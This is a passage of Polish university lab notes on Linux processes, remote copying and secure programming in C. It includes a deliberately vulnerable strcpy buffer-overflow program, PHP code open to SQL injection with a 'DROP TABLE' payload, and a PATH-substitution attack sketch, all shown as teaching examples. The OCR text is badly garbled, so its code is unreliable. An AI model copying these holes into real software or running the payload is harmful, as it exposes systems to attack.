|= bash Uspiony 0 0 2411 1,6 MB n_tty read

(=] bash Uspiony 1] 0 2040 1,6 MB n_tty read

< bonobo-activation-server Uspiony 0 0 1501 864,0KB poll schedule_timeout
¥ clock-applet Uspiony 0 0 1544 3,1MB poll_schedule_timeout
<» dbus-daemon Uspiony 0 0 1277 1,0 MB poll_schedule_timeout

Przyktad 2-15 Uzycie polecenia monitora systemu

24.2 Kasowanie procesow
Procesy kasuje si¢ poleceniem kill. Sktadnia polecenia jest nastepujaca:

kill [-signal | -s signal] pid

Gdzie:

si ghal —numer lub nazwa sygnatu

pi d - pidprocesu ktéry nalezy skasowaé

Nazwa sygnatu Numer Opis

S| GTERM 15 Zakonczenie procesu w uporzadkowany sposob

SI G NT 2 Przerwanie procesu, sygnat ten moze by¢ zignorowany

SI &I LL 9 Przerwanie procesu, sygnat ten nie moze by¢ zignorowany

SI GHUP 1 Uzywane w odniesieniu do demondw, powoduje powtdrne wezytanie pliku
konfiguracyjnego.

Tab. 2-4 Czgscigj uzywane sygnaty

25 Zdalna pracai kopiowanie plikéw pomiedzy systemami

W Laboratoriu stosowane s3 dwie dystrybucje Linuks: Ubuntu 14.04 LTS Kali Linuks wykonywany na maszynie
wirtualngj Virtual Box. Kali Linuksa stosujemy gdyz w ¢wiczeniach potrzebny jest dostep do konta administratora.
Kazda z wergji Linuksa posiada swoja specyfike, dotyczy to takze Kali Linuksa. Wazna jest komunikacja pomigdzy
tymi systemami co zostanie dalej opisane. Po uruchomieniu systemu Kali i zalogowaniu si¢ nalezy uzyska¢ informacjg
o0 adresach |P obydwu komputeréw (Kali i Ubuntu) co wykonujemy poprzez poleceniei f confi g.

#ifconfig

et h0: fl ags=4163<UP, BROADCAST, RUNNI NG, MULTI CAST> ntu 1500
inet 192.168.0.204 netmask 255.255.255.0 broadcast 192.168.0. 255
inet6 fe80::20c:29ff:fefc:5626 prefixlen 64 scopeid 0x20<link>
et her 00:0c:29:fc:56:26 txqueuelen 1000 (Ethernet)

Przyktad 2-16 Uzyskanie adresu |P komputera

Nastepnie bedac w wirtualnym systemie Kali logujemy si¢ na Ubuntu za pomoca narzgdziassh jak pokazano ponize.
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1:~# ssh juka@l92.168.0.155

]uka@lgz 168.0.155's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.10.0-35-generic i686)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

136 pakietow moze zostac zaktualizowanych.
51 aktualizacji jest aktualizacjami zabezpieczen.

Last login: Tue Oct 24 12:11:46 2017 from 192.168.0.204
juka@Ubol:~$

Przyktad 2-17 Zdalne logowanie w systemie za pomoca narzgdzia ssh

Kopiowanie plikow pomiedzy systemami mozna wykonywa¢ za pomoca narzedziascp atakze programu Midnight
Commander. Protok6t SCP do przesytania danych, szyfrowaniai uwierzytelniania wykorzystuje protokét SSH. W
oparciu 0 protokét SCP zrealizowano rdznego rodzaju programy stuzace do kopiowania plikéw pomicdzy
komputerami. Podstawowa sktadnia polecenie scp wystgpujacego w systemie Linux w trybie konsolowym jest
nastepujaca:

scp [opcje][[uzytkowni k@] host1l:]plikl [[uzytkowni k@]host2:]plik2

Przyktadowo aby skopiowat plik | s. t xt znajdujacy si¢ nakomputerze 192. 168. 0. 155 w katalogu
/ hone/ j uka do katalogu biezacego wykonujemy polecenie:

root @ali:~# scp juka@92.168.0.155:/hone/jukal/ls.txt

j uka@92. 168. 0. 155' s passwor d:
I's.txt 100% 266 83.6KB/s  00:00

Oczywiscie musimy zna¢ nazwe uzytkownikai jego hasto na komputerze docel owym. Do kopiowania plikow
pomiedzy komputerami mozemy tez uzy¢ programu Midnight Commander i protokotu SFTP jak pokazano ponizej.
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mc [root@kali]:/ (— O < ]
File Edit View Search Terminal Help

_ "<} "]
Name Size |Modify time |(|.n N ENE | Size |Modify time

- UP--DIR|Dec 16 2016

.cache 4096 |Nov 11 2016||/boot 4096 |5ep 7 2016
.config 4096 |Nov 11 2016 |/dev 3180 |0ct 10 11:@5
.dbus 12288 |0ct 10 11:10
.gconf —— SFTP to machine ————— [ETuRe TR o Lot il §0 0 & B 012
.gnupg Enter machine name (F1 Tor details): 4096 |Nov 9 2016
.hashcat juka@l92.168.0.3550 (G | plEipgiclo gl
.john 4096 |Aug 30 2016
Lkde [« OK =] [ Cancel ] 4096 |Aug 30 2016
.local 4096 |Sep 7 2016
.mozilla 0/0ct 10 11:04
.mst4 4096 |Dec 16 2016||/root 4096 |0ct 10 11:05
.hano 4006 (0ct 12 2016 |/run 820 (0ct 10 11:25
.set 4096 (Dec 16 2016||/sbin 4096 |Sep 7 2016
.ssh 4096 |0ct 12 2016/ |/srv 7 2016

L

b, T S

l,rl
/
.f‘l
f‘l

b e T S

S,

f.mozilla /bin
29G/37G (77%)
: Bring text back Trom the dead with C-y.

Przyktad 2-18 Zastosowanie protokotu SFTP do kopiowania plikdw pomiedzy komputerami.

2.6 Zadania

2.6.1 Uzyskiwanieinformagcji o stanie systemu
Zobacz jakie procesy i watki wykonywane s3 aktualnie w systemie.

2.6.2 Uzyskiwanieinformacji o obcigzeniu systemu
Uzywajac poleceniat op zbadaj ktdry z procesdw najbardziej obciaza procesor.

2.6.3 Program kopiowania plikéw - funkcje niskiego poziomu

Napisz program copy ktory kopiuje pliki uzywajac funkcji niskiego poziomu. Program ma byé uruchamiany
poleceniem copy filel fil e2 i kopiowat podany jako parametr pierwszy plik fi | el na podany jako parametr
drugi plik fil e2. Uzyj w programie funkcji dostepu do plikéw niskiego poziomu: open(), read(),wite(),
cl ose() . Zngdz opistych funkcji w systemie pomocy. Program powinien dziata¢ wedtug nastgpujacego schematu:

Utwérz bufor buf o dtugosci 512 bajtow (tyle wynosi diugos¢ sektora na dysku).
Otworz plik il el.

Utworz plik fi | e2.

Czytaj 512 bajtéw z pliku f i | el do buforabuf .

Zapisz liczbe rzeczywiscie odczytanych bajtow z buforabuf do plikufi | e2.
Gdy zfi | el odczytates 512 bajtéw to przejdz do kroku 5.

Gdy odczytates mnigj niz 512 bajtdw to zamknij pliki i zakoncz program.

NogkrwdpE

2.6.4 Listowanieatrybutéw pliku
Napisz program f st at wyprowadzajacy na konsole¢ atrybuty pliku bedacego parametrem programu. Wywotanie:
fstat nazwa_pl i ku. Przyktadowo:
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$./fstat fstat

Plik: fstat

wi el kosc : 7318 b

liczba |inkow 1

pozwol eni a: - rwxr-Xxr-x

link synboliczny: nie

W programie nalezy wykorzysta¢ funkcjei nt fstat(int file, struct stat fil eStat) orazpodanew
tabeli maski bitowe. Pomoga one zidentyfikowa¢ prawa dostepu zwrédcone przez element fi | eSt at . st _node.
Dalsze wyjasnienia dotyczace znaczenia atrybutow pliku, makrai maski bitowe znalez¢é moznaw manualu w opisie
wywolaniaf st at .

Wartosc Nazwa symboliczna Pozwolenie na

6semkowa

0400 S I RUSR Odczyt przez wiasciciela

0200 S I WJSR Zapis przez wiaiciciela

0100 S | XUSR Wykonanie przez wiaiciciela

0040 S | RCGRP Odczyt przez grupe

0020 S I WCGRP Zapis przez grupg

0010 S | XCRP Wykonanie przez grupe

0004 S I ROTH Odczyt przez innych uzytkownikéw
0002 S I WOTH Zapis przez innych uzytkownikow
0001 S | XOTH Wykonanie przez innych uzytkownikéw

Tab. 2-5 Specyfikacja niektdrych bitéw okreslajacych prawa dostepu do pliku

file = open(argv[1], O RDONLY);
res = fstat(file, &ileStat);

printf( (S ISDIR(fileStat.st_mode)) 2 "d" : "-");
printf( (fileStat.st_mode & S IRUSR) ? "r" : "-"):

Przyktad 2-19 Fragment programu podajacego atrybuty pliku

26,5 Listowanieatrybutéw plikow w zadanym katalogu
Na podstawie poprzedniego programu napisz program listujacy pliki wraz z atrybutami zadanego katalogu. Do
przegladania katalogu uzyj funkcji opendi r, readdir, closedir.

2.6.6 Zmiana efektywnego identyfikatora uzytkownika

Napisz jako root program wyswietlajacy rzeczywisty ui d i efektywny eui d identyfikator uzytkownika. Ustaw bit s a
nastepnie uruchom program jako inny uzytkownik. Nastepnie dodaj do programu akcje ktdra moze wykona¢ tylko root
(nie destruktywna) i sprawdz czy wykona si¢ jako zwykty uzytkownik.
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3. Zagadnienia twor zenia bezpiecznych aplikacji

31 Bezpieczne oprogramowanie

Wiele luk w programach powstaje na skutek niskigj jakosci pracy programistow i ztych praktyk programowania. Btedy
te dziela sie¢ na grupy:

Niezabezpieczona wspbtpraca miedzy komponentami systemu
Ryzykowne zarzadzanie zasobami
Zawierajacaluki obrona

32 Odwolanie si¢ do argumentow programu

Czesto zachodzi potrzeba przekazania do wnetrza programu okreslonych parametréw ktore moga by¢ przekazane jako
parametry przy wywotanie programu. Dla przyktadu:

prog 123 a2 a3

Ponizszy przyktad pokazuje jak odwota¢ si¢ do argumentow.

#i ncl ude <stdi o. h>
#i ncl ude <stdlib. h>

int main(int argc, char *argv[]) {
int i,Kk;
printf("argc= %\ n", argc);
for(i=0;i<argc;i++) {
printf("argv[%l] = %\n",i,argv[i]);
}
k = atoi(argv[1])
return EXI T_SUCCESS;
}

Przyktad 3-1 Program wypisujacy swoje argumenty
Program daje wyniki jak ponizej.

argc= 4

argv[0] = ./prog
argv[1l] = 123
argv[2] = a2
argv[3] = a3

Nalezy zauwazy¢ ze przekazane do programu parametry sg tancuchami tekstowymi (ang. string). Jezeli chcielibysmy
zamieni¢ parametr 123 naliczbe nalezy uzy¢ funkcji i nt at oi (char *| stri ng) przeksztalcajaca napis
[ stringnaliczbei nt tak jak w powyzszym przyktadzie.

33 Obstluga wejscia programu

Brak wiasciwego zabezpieczenia danych wejsciowych jest jedng z ngjczestszych przyczyn awarii. Dane wejsciowe
moga by¢ czytane z:

Klawiatury

Myszy

Plikow

Sieci
Na etapie specyfikacji programu nalezy doktadnie okresli¢ dtugosci wprowadzanych danych i ich typy. Program przy
pobieraniu danych powinien doktadnie zweryfikowa¢ dtugosci danych, ich typ i ewentualnie znaczenie. Na dane
wej $ciowe zwykle przeznaczane sg bufory. Gdy dane s3 diuzsze niz bufor moze dojs¢ do nadpisanie innych obszarow
pamicci. Pokazuje to ponizszy przyktad.
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#i ncl ude <stdi o. h>
#i ncl ude <stdlib. h>
#i ncl ude <string. h>
#define SIZE 6

int main(int argc, char *argv[])

{ char buf[SI ZE];
strcpy(buf,argv[1]);
printf("Bufor: %\n", buf);
return O;

}

Przyktad 3-2 Niebezpieczny program, brak sprawdzania danych wejsciowych

Jedna z mozliwosci zabezpieczenia danych wejsciowych programu pokazano ponizej.

/| Zapezpi eczeni e wej sci a progranu
/1 Ma byc 8 znakow al fanunerycznych
#i ncl ude <stdio. h>

#i ncl ude <string. h>

#i ncl ude <ctype. h>

#defi ne BSI ZE 8

int main(int argc, char * argv[]) {
char buf[BSIZE + 1];
int i;
if(argc < 1) {
printf("brak parametru\n");
return 1;
}
/1 Sprawdzeni e dl ugosci danych
if(strlen(argv[1l]) >= BSIZE) {
printf("za dlugi e dane\n");
return 1;
}
st rncpy(buf, argv[ 1], BSI ZE) ;
/1l Sprawdzeni e czy znaki al fanuneryczne

return O;

}

Przyktad 3-3 Sprawdzanie danych wej$ciowych programu

Waznym elementem bezpiecznego programowania jest poprawna interpretacja danych wejsciowych i innych danych
tworzonych naich podstawie. Szczegdlnie duzo btedéw powstaje w jezykach o stabym typowaniu (rzutowanie
zmiennych) i przy postugiwaniu sie zmiennymi oznaczajacymi adresy (np. listy). Przyktadem jest jezyk C.

34 Niebezpieczne dane wej sciowe i wstr zykiwanie kodu

Do stabych punktow nalezg miejsca gdzie wykonywany jest kod zawarty w HTML tresci dokumentu sieciowego.
Przegladarka moze wykonywa¢ kod JavaScript, ActiveX, VBScript, Flash. Podobnie jest z danymi wejsciowymi do
zapytan SQL co ilustruje ponizszy przykiad.
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$nazwa = $_REQUEST[ ' nazwa’]
$zapytanie = "SELECT * FROM kl i enci WHERE nazwa = ~ " .nazwa.” ;”;
$wyni k = nysql _query($zapyt ani e);

Przyktad 3-4 Niebezpieczny kod PHP
Wprowadzenie jako nazwa danych
Zenek™ ; DROP TABLE kl i enci

Bedzie skutkowato usuni¢ciem tabeli klienci

35 Wycieki pamieci

W wielu przypadkach nie wiadomo z géry jaki bedzie rozmiar potrzebnych danych. W takich przypadkach stosuje si¢
dynamiczny przydziat pamigci. Pobierana pamig¢ nie zawsze jest zwalniana co powoduje wyciek pamigci.

int min( int argc, char *argv[]) {
int* ptr;
int i,n;
/1 Liczba el enmentow tablicy jako argunent progranu
n = atoi(argv[1]);
printf("Liczba el ementow. %\n", n);
/1 Dynani czna al okacja pamni eci
ptr = (int*)malloc(n * sizeof(int));
if (ptr == NULL) {
perror("malloc");

exit(0);
} else {
for(i=0;i<m++i)ptr[i] =1 + 1;

}

}

Przyktad 3-5 Dynamiczna a okacja pamieci

Innefunkcje: cal loc(), free(), realloc()

3.6 Nieprawidlowa rywalizacja o pamieé¢ wspoldzielong

Wiele btedéw programistycznych powstaje na skutek btednego uzycia pamieci wspétdzielonegj przez operujgce naniegj
procesy i watki. Prowadzi to do otrzymywania przypadkowych wynikéw powodowanych przez zjawisko hazardu i
wyscigow. Zapobieganie odbywa si¢ przez stosowanie:

Blokad — napoziomie plikow

Semaforéw - na poziomie procesow

Muteksow - ma poziomie watkOw

Stosowani e powyzszych mechanizmow moze prowadzi¢ do zakleszczenia procesow.

37 Sprawdzanie wynikéw dziatania funkcji systemowych

Funkcje systemowe moga skonczy¢ sie btedem, na co programista powinien by¢ przygotowany. Biad funkgcji
sygnalizowany jest jgj kodem powrotu, zwykle —1. Numer btedu ostatnigj funkcji systemowej przechowywany jest w
zmienngj globalng er r no. Ich znaczenie zdefiniowane jest w pliku nagtéwkowym <er r no. h>
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#i ncl ude <ernno. h>
mai n(int argc, char * argv[]) {

int fd;
fd = open(argv[1], O RDONLY);
if(fd < 0) {
printf(“Blad %\ n”, errno);
return;

}

Przykiad 3-6 Uzycie zmienng errno
Gdy sprobujemy otworzy¢ powyzszym programem nieistnigjacy plik otrzymamy komunikat:
Blad: 2

Aby okresli¢ znaczenie btedu trzeba przeszukaé plik <er r no. h> co jest niewygodne. Aby unikna¢ tego mozna
skorzysta¢ z funkgji perr or .

voi d perror(char *napis)

Gdzie:
napi s Komunikat wypisywany nast der r

Funkcja wypisuje na urzadzeniu st der r tancuch napis a potem stowny opis btedu.

#i ncl ude <ernno. h>
mai n(int argc, char * argv[]) {
int fd;
fd = open(argv[1], O RDONLY)
if(fd < 0) {
perror(“open”);
return;

}

Przyktad 3-7 Uzycie funkcji perror do sygnalizacji btedu
Gdy sprobujemy otworzy¢ powyzszym programem nieistnigjacy plik otrzymamy komunikat:
open: No such file or directory

3.8 Ataki z uzyciem zmiennych §rodowiskowych

Zmienne srodowiska sa parami wartosci nazwa=war t 0$¢ dziedziczonymi z procesu macierzystego. Zawieraja one w
istocie dane wejsciowe do programéw i skryptéw. Zmienne srodowiska mozna wyswietli¢ poleceniemenv.
Powszechnie uzywana zmienng $rodowiska jest zmienna PATH ktora okresla $ciezke poszukiwan programow
wykonywalnych.

$env

PATH=/ usr /| ocal / shbi n: /usr/l ocal / bin:/usr/sbin:/usr/bin:/sbin:/bin

Zmianasciezki PATH moze by¢ srodkiem uzytym w ataku i spowodowaé wykonanie podstawionego programu
zamiast standardowego. Moze tak si¢ zdarzy¢ w podanym nizej skrypcie.

#! / bi n/ bash
user = “echo $1 | sed ‘s/@.*//’
grep $user /var/local /accounts/ipaddrs

Podstawigjac wiasny program pod program sed czy grep moznawykonat dowolng akcje.

Podobnie wyglada sprawa uzycia bibliotek dynamicznych. Ich potozenie okreslone jest przez zmienng srodowiska
LD_LIBRARY_PATH. Modyfikujac te zmienng mozna doprowadzi¢ do wykorzystania przez program podstawionej
biblioteki dynamiczngj.
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39 Pisanie bezpiecznego kodu, makro assert

W pisaniu bezpiecznego kodu przydatne jest makro asser t . Zdefiniowane jest ono w pliku nagtéwkowym
assert. h.

#i ncl ude <assert. h>
voi d assert(int expression)
Gdy wartos¢ wyrazenia expression jest réwna zero program bedzie przerwany i wyprowadzone beda informacje;

Nazwa pliku z programem
Numer linii w ktorej wystapit biad
Nazwa funkcji w ktérej wystapit biad

Makraassert nalezy uzy¢ do sprawdzenia czy spodziewane warunki sa spetnione, np.:

assert(a > b+l);
assert(c == f);
assert(e);

Ponizej podany zostat przyktad uzycia makraassert .

#i ncl ude <stdi o. h>
#i ncl ude <assert. h>
/1 #defi ne NDEBUG

int main(int argc, char * argv[]) {
printf("Start, argc= %\ n", argc);
assert(argc > 1);
printf("argv[1l]= %\n", argv[1]);
printf("Koniec\n");

}

Przyktad 3-8 Uzycie makra assert

Gdy uruchomimy program bez argumentéw (czyli wartos¢ wyrazeniaar gc >1 bedzie fatszywa (zero)) makro
zatrzyma program i wyprowadzi komunikat:

$./assert

Start, argc= 1

Assert: assert.c:6: nmain: Assertion ‘argc > 1' failed.
Przer wane

$

Natomiast prawidtowe uruchomienie programu, z jednym parametrem spowoduje ze wartos¢ wyrazeniaar gc >1
bedzie prawdziwai makro nie zadziata

$./assert 222
Start, argc= 2
argv[1l] = 222
Koni ec

3.10  Zasada minimalnych przywile 6w

Programom nalezy nadawa¢ tylko takie przywileje jakie sa konieczne do wykonaniaich zadania. Problemem jest
udzielenie procesowi wickszych przywilejow niz standardowe. Stuzy do tego mechanizm set ui d i set gi d
korzystajacy z poje¢ rzeczywistego i efektywnego identyfikatora uzytkownika.

Innym mechanizmem jest mechanizm chroot. Chroot to polecenie uniksowe, pozwalajace uruchomi¢ dany program ze
zmienionym korzeniem (root) — katalogiem gtéwnym systemu plikdw.
chroot [OPTION] NEWROOT [ COMVAND [ ARG ... ]

Polecenie to zmienia korzen systemu plikow na NEWROOT przez co procesy potomne nie moga siegnaé¢ do plikow
lezacych powyzej NEVWROOT .
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3.11 Zadania

3.11.1 Program kopiowania plikéw - funkcje niskiego poziomu

Napisz program copy ktéry kopiuje pliki uzywajac funkcji niskiego poziomu. Program ma by¢ uruchamiany
poleceniem copy filel fil e2 i kopiowat podany jako parametr pierwszy plik fi | el na podany jako parametr
drugi plik fil e2. Uzyj w programie funkcji dostepu do plikéw niskiego poziomu: open(), read(),wite(),
cl ose() . Zngdz opistych funkcji w systemie pomocy. Program powinien dziata¢ wedtug nastepujacego schematu:

Utwérz bufor buf o diugosci 512 bajtow (tyle wynosi diugosé¢ sektora na dysku).
Otworz plikfi |l el.

Utworz plik fi | e2.

Czytaj 512 bajtéw z pliku f i | el do buforabuf .

Zapisz liczbe rzeczywiscie odczytanych bajtow z buforabuf do plikufi | e2.
Gdy zfi |l el odczytates 512 bajtdéw to przejdz do kroku 5.

Gdy odczytates mnigj niz 512 bajtéw to zamknij pliki i zakoncz program.

NoakwdpE

Dokongj zabezpieczenia danych wejsciowych do programu tak aby zawieraty tylko prawidtowe $ciezki do pliku. Uzyj
makra assert gdy wykryte zostana nieprawidtowe parametry.

3.11.2 Listowanieatrybutéw pliku
Napisz program f st at wyprowadzajacy na konsol¢ atrybuty pliku bedacego parametrem programu. Wywotanie:
fstat nazwa_pl i ku. Przyktadowo: $./fstat fstat

3.11.3 Listowanie zmiennych otoczenia i wykazu uzytych bibliotek
Zmodyfikuj powyzszy program tak aby wyswietli¢ wszystkie zmienne otoczeniai uzyte biblioteki dynamiczne.
Biblioteki dynamiczne uzyte w programie moznawyswietli¢ poleceniem Idd.

3.11.4 Dynamiczna allokacja pamieci

Napisz program wykonujacy krokowo rezerwacje kolejnych obszaréw pamieci za pomocsa funkcji malloc. Zaobserwuj
dziatanie za pomoca poleceniaf r ee.

3.11.5 llustracja blokad plikow

Napisz program ilustrujacy dziatanie blokad doradczych przy uzyciu funkcji lockf. Program powinien by¢
uruchomiony z argumentem
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4. Monitorowanie systemu
Sprawne dziatanie komputera zalezy od:

Zdolnosci do sprawnosci wykonania operacji obliczeniowych
Dostepnosci pamieci operacyjnej

Przepustowosci systemu wejscialwyjscia

Dostepnosci pamigci zewngtrzej

Gdy ktérakolwiek z powyzszych funkcji zostanie zaktdcona, system komputerowy traci zdolnosé¢ do swiadczenia
ustug. Ponizej omdwione zostang narzedzia przeznaczone do monitorowania wyzej wymienionych zasobéw i funkgji.

4.1 Sledzenie procesow

411 Wyswietlanielisty uruchomionych procesow - polecenie ps
Polecenie ps pozwala uzyskac¢ informacje o uruchomionych procesach. Wystepuje w trzech wergjach:

1. UNIX —opcje moga by¢ grupowane i musza by¢ poprzedzone znakiem —
2. BSD - opcje moga by¢ grupowane i nie musza by¢ poprzedzone znakiem -
3. GNU -opcje dtugie, musza by¢ poprzedzone dwoma znakami --

$ps
PID TTY TI ME CMD
2388 pts/6 00: 00: 00 bash
2402 pts/6 00: 00: 00 ps

Kolumny zawieraja:

PID - PID procesu

TTY  —Ildentyfikator terminala na ktérym proces zostat uruchomiony
TIME - llo$¢ czasu procesora zuzyta przez ten proces

CMD - Nazwa pliku z ktérego utworzono proces

Polecenie ps posiada wiele przetagcznikow. Przetgczniki dotycza:
Jakie procesy maja by¢ wyswietlane
Jakie ich atrybuty maja by¢ wyswietlane

Przyktady:

ps - wyswietlane s3 procesy o tym samym EUID co proces konsoli.

ps -ef - wyswi etlanie wszystkich procesow w diugim formacie.

ps -eF - wyswietlanie wszystkich procesow w b. diugim formacie.

ps -ef | grep nazwa - sprawdzanie czy wsrdd procesow istnieje proces nazwa
$ps -ef

u D PID PPID C STIME TTY TI ME CVD

r oot 1 0 0 11:12 2 00: 00: 01 /shin/init

r oot 2 0O 0 11:12 ? 00: 00: 00 [kt hr eadd]

r oot 3 2 0 11:12 7 00: 00: 00 [ksoftirqd/ 0]
r oot 4 2 0 11:12 7 00: 00: 00 [ kwor ker/0: 0]
r oot 5 2 0 11:12 ? 00: 00: 00 [ kwor ker/0: OH|

Przyktad 4-1 Uzyskanie listy wszystkich procesow w systemie

4.1.2 Procesy wielowatkowe

Polecenie ps nie pokazuje watkdw procesu. Aby zaohserwowaé watki procesdw nalezy w poleceniu ps uzy¢ opcji L
o pokazuje ponizszy przyktad.
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$ps —elLf

u D PID PPID LW C STIME TTY TI ME CMVD

j uka 2246 1619 2246 O 4 11:32 ? 00: 00: 13 gnone-term na
j uka 2246 1619 2249 O 4 11:32 ? 00: 00: 00 gnone-termn na
j uka 2246 1619 2250 O 4 11:32 ? 00: 00: 01 gnone-terni na
j uka 2246 1619 2253 O 4 11:32 ? 00: 00: 00 gnone-terni na

Przyktad 4-2 Fragment wynikow poleceniaps —eLf watki procesu PID=2246 s3 widoczne
Wida¢ ze w listingu pojawita sie kolumna LWP zawiergjagcaidentyfikatory watkow. Sg to 2246, 2249, 2250, 2253.

4.1.3 Uzyskiwanieinformacji o procesach —monitor systemu
W wielu dystrybucjach Linuxa mozna wystepuje mozliwosé inspekcji procesdw za pomoca harzedzi graficznych.
Moze by¢ to wystepujacy w Ubuntu ,Monitor systemu”

.

Monitor systemu

Monitor systemu

Procesy | Zasoby Systemy plikdow

Srednie obciagzenia z ostatnich 1, 5i 15 minut: 0,07, 0,04, 0,05 Odswiez || Widok
MNazwa procesu s+ Uzytko % CPU Identy Pamiec Priorytet

< accounts-daemon root 0 1149 6,0 MiB Zwykty

@ acpid root 0 967 692,0 KiB Zwykty

0 ata_sff root 0 42 Nie dotyczy Bardzo wysoki
%8 atd daemon 0 994 160,0 KiB Zwykty

. 0 14 608,0 KiB Zwykty

< atspi-bus-launcher juka 0 1385 2,6 MiB Zwykty

< avahi-daemon: chroot hel avahi 0 686 464,0 KiB Zwykty

< avahi-daemon: running [Ul avahi 0 675 1,6 MiB Zwykly

% bamfdaemon juka 0 1429 4,8 MiB Zwykly

(B bash juka 0 2388 2,3 MiB Zwykly

(=8 bash juka 0 2256 2,2 MiB Zwykty

i bioset root 0 39 Nie dotyczy Bardzo wysoki
< bluetoothd root 0 651 1,4 MiB Zwykty

Zakoncz proces

Przyktad 4-3 Uzyskanie listy procesdw za pomoca Monitora systemu
Klikajgc prawym klawiszem myszy na wybrany proces mozna:

Zatrzymac proces

Wznowi¢ proces

Zakonczyé proces

Zmieni¢ priorytet

Uzyska¢ informacje o segmentach pamigci zaj¢tych przez proces
Uzyskac¢ rozszerzone informacje o atrybutach procesu
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Monitor systemu

Monitor systemu

Procesy | Zasoby Systemy plikéw

Srednie obcigzenia z ostatnich 1, 5i 15 minuk: 0,01, 0,02, 0,05 Odswiez | Widok »
Nazwa procesu «  Uzytko % CPU Ident  Pamiec Priorytet
% accounts-daemon root 0 1149 6,0 MiB Zwykty
& acpid root 0 967 692,0 KiB Zwykly
@ ata_sff root 0 42 Nie dotyczy Bardzo wysoki
= atd daemon 0 994 160,0KiB Zwykly
3 n

608,0KiB Zwykly
2,6 MiB Zwykly

% at-spiz-registryd

< atspi-bus-launcher A e

Kontynuuj proces

< avahi-daemon: chro 464,0KiB Zwykly
< avahi-daemon: run 1,6 MiB Zwykly
< bamfdaemon Usun pre 4,7 MiB Zwykly
B bash Zmien priorytet 2,3 MiB Zwykly
& bash 2,2 MiB Zwykty
— Mapy pamieci " ;
157 bioset el Nie dotyczy Bardzo wysoki
< bluetoothd et il ol 1,4 MiB Zwykly

Wias

Zakornicz proces

Przyktad 4-4 Uzyskanie listy procesow za pomoca Monitora systemu, wybor akcji za pomocg prawego klawisza
myszy

™ Wiasciwosci procesu

Wihasciwosci procesu "bash” (PID 2256):

MNazwa procesu bash
Uzytkownik juka (1000)
Stan Uspiony
Pamiec 2,2 MiB
Pamiec wirtualna 27,7 MiB
Pamiec rezydentna 4,0 MiB
Pamiec zapisywalna 2,2 MiB

| Pamiec wspotdzielona 1,8 MiB
Pamiec X serwera Nie dotyczy
Procesor 0%

Czas CPU 0sekund
Uruchomiono Tue Feb 911:32:30 2016
Nice 0

Priorytet Zwykty
Identyfikator 2256

| Kontekst bezpieczenstwa unconfined
Wiersz polecen bash
Kanatoczekujacy do_wait

Grupa kontrolna

Zamknij

Przyktad 4-5 Atrybuty procesu uzyskane za pomocg monitora systemu

Jedrzej ULASIEWICZ - KatedraInformatyki Technicznej Politechniki Wroctawskigj

PDF created with pdfFactory trial version www.pdffactory.com



http://www.pdffactory.com
http://www.pdffactory.com

Bezpieczenstwo systemow i ustug informatycznych 31

414 Wirtualny system plikéw /proc
Wirtualny system plikdw proc zawiera podkatalogi odpowiadajace pi d uruchomionych procesow. Katalog mozna
obejrze¢ za pomocg polecenia:

Is /proc

e juﬁa@ubnl: fprnc,-(-ZZSG

Plik Edycja widok wyszukiwanie Terminal Pomoc

1126 1429 1659 1973 2849 48 B dma pagetypeinfo
1139 1434 1663 2 29 49 B84 driver partitions
1149 1463 1681 20 2933 5 BE8 execdomains sched_debug
12 1466 1688 21 2958 50 856 fb schedstat
1214 1468 17 22 2989 51 B97 filesystems scsi

1226 15 1768 2238 3 52 9 fs self

1236 1511 1712 2246 30 53 200 interrupts slabinfo
1248 152 1716 2255 31 536 542 iomem softirgs
1244 16 1724 2256 32 54 96 ioports stat

13 1615 1735 23 33 55 967 ipmi swaps

1329 1619 1742 2388 34 56 97 irg s5ys

1340 162 1749 24 344 586 970 kallsyms sysrq-trigger
1346 1624 1773 2407 35 589 898 kcore sysvipc

1352 163 1779 2410 350 651 588 keys timer_list
1371 1630 1785 25 36 652 991 key-users timer_stats
1374 1631 1788 2558 37 6706 993 kmsg tty

1375 1632 18 2559 38 675 594 kpagecount uptime

1378 1633 1800 26 39 68 acpi kpageflags version

1352 1634 1834 2617 4 684 asound latency_stats wversion_signature
1395 1635 1843 2618 40 686 buddyinfo loadavg vmallocinfo
1356 1637 1866 26B3 409 T bus locks vmstat

14 1638 1871 2684 41 70 cgroups mdstat zoneinfo
1401 164 1877 27 42 7065 cmdline meminfo

juka@ubol: /proc/22565 |}

Przyktad 4-6 Zawartos¢ katalogu /proc/2256 — informacje o procesie PID=2256

Widoczne w katalogu proc liczbowe katalogi postaci / pr oc/ [ pi d] odpowiadaja PID wykonywanych aktualnie
procesbw. Pozostate katalogi zawierajg informacje o stanie systemul.

Przyktadowo:
cpui nfo —informacje o procesorach komputera
devi ces - informacje o urzadzeniach znakowych i blokowych

fil esystens -informacjeo systemach plikow

i nterrupts -informacjeo przerwaniach

i onem - informacje o segmentach pamigci zajm. przez urzadzenia we/wy
partitions -informacjeo partycjach dyskowych

W powyzszym przyktadziew kat al ogu / pr oc widoczny jest katalog 2256. Odpowiada on procesowi 0
Pl D=2256. Moznawyswietli¢ jego zawartos¢ za pomoca polecenia:
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$l's -l /proc/ 2256

dr-xr-xr-x 2 juka juka O lut 9 12:11 attr

S 1 juka juka O lut 9 12:31 environ
dr-x------ 2 juka juka O lut 9 11:32 fd
dr-x------ 2 juka juka O lut 9 12:31 fdinfo
Sr--- - - 1 juka juka O lut 9 12:31 io
-r--r--r-- 1 juka juka O lut 9 12:31 linmts
-rwr--r-- 1 juka juka O lut 9 12:31 loginuid
dr-x------ 2 juka juka O lut 9 12:31 map_files
-r--r--r-- 1 juka juka O lut 9 11:44 maps
STWe-- - - 1 juka juka O lut 9 12:31 nem
-r--r--r-- 1 juka juka O lut 9 12:31 nountinfo
-r--r--r-- 1 juka juka O lut 9 12:31 nmounts

S 1 juka juka O lut 9 12:31 nmountstats
dr-xr-xr-x 5 juka juka O lut 9 12:31 net
dr-x--x--x 2 juka juka O lut 9 12:31 ns
-r--r--r-- 1 juka juka 0 lut 9 12:31 pagemap
-r--r--r-- 1 juka juka 0 lut 9 12:31 personality
-rwr--r-- 1 juka juka 0 lut 9 12:31 projid_map
-rwr--r-- 1 juka juka O lut 9 12:31 sched
-r--r--r-- 1 juka juka O lut 9 12:31 schedstat
-r--r--r-- 1 juka juka O lut 9 12:31 sessionid
-rwr--r-- 1 juka juka 0 lut 9 12:31 setgroups
